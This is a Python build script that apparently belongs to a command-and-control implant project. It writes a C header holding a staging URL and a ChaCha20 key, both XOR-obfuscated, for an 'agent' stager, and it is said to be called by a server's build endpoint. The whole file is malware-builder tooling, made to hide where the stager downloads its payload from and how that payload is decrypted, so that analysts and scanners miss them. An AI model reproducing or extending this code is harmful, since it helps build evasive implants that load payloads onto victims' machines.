#!/usr/bin/env python3
"""
Generate agent/include/stager_config.h with XOR-obfuscated staging URL and
ChaCha20 key. Called by the server's build endpoint (never by hand).

Usage:
  python tools/gen_stager_config.py --url <staging_url> --key <32-byte hex>
"""
import sys, os, argparse

XOR_KEY     = b"\x7a\x3f\x91\xc4\x52\x88\xb1\xde\xad\xbe\xef\x13\x37\xca\xfe\x42"
XOR_KEY_LEN = len(XOR_KEY)


def xor_encode(data: bytes) -> list:
    return [b ^ XOR_KEY[i % XOR_KEY_LEN] for i, b in enumerate(data)]


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--url",  required=True, help="Staging URL")
    ap.add_argument("--key",  required=True, help="32-byte ChaCha20 key (hex)")
    args = ap.parse_args()

    url_enc = xor_encode(args.url.encode())
    key_raw = bytes.fromhex(args.key)
    if len(key_raw) != 32:
        print("[error] --key must be 32 bytes (64 hex chars)", file=sys.stderr)
        sys.exit(1)
    key_enc = xor_encode(key_raw)

    key_hex    = ", ".join(f"0x{b:02x}" for b in XOR_KEY)
    url_arr    = ", ".join(f"0x{b:02x}" for b in url_enc)
    key_arr    = ", ".join(f"0x{b:02x}" for b in key_enc)
    url_prev   = args.url[:48] + ("…" if len(args.url) > 48 else "")

    h = f"""\
/* AUTO-GENERATED by tools/gen_stager_config.py — do not edit manually. */
#ifndef STAGER_CONFIG_H
#define STAGER_CONFIG_H

#ifndef CFG_XOR_KEY_LEN
#define CFG_XOR_KEY_LEN {XOR_KEY_LEN}
static const unsigned char CFG_XOR_KEY[{XOR_KEY_LEN}] = {{ {key_hex} }};
#endif

/* STAGE_URL — XOR-encoded ({len(url_enc)} bytes) */
/* plaintext preview: {url_prev!r} */
static const unsigned char CFG_STAGE_URL[] = {{{url_arr}, 0x00}};
#define CFG_STAGE_URL_LEN {len(url_enc)}

/* STAGE_KEY — ChaCha20 key, XOR-encoded (32 bytes) */
static const unsigned char CFG_STAGE_KEY[32] = {{{key_arr}}};

#endif /* STAGER_CONFIG_H */
"""

    out = os.path.join(os.path.dirname(__file__), "..", "include", "stager_config.h")
    with open(out, "w") as f:
        f.write(h)
    print(f"[ok] {out}")
    print(f"     URL  {args.url}")
    print(f"     KEY  {args.key[:8]}...")


if __name__ == "__main__":
    main()
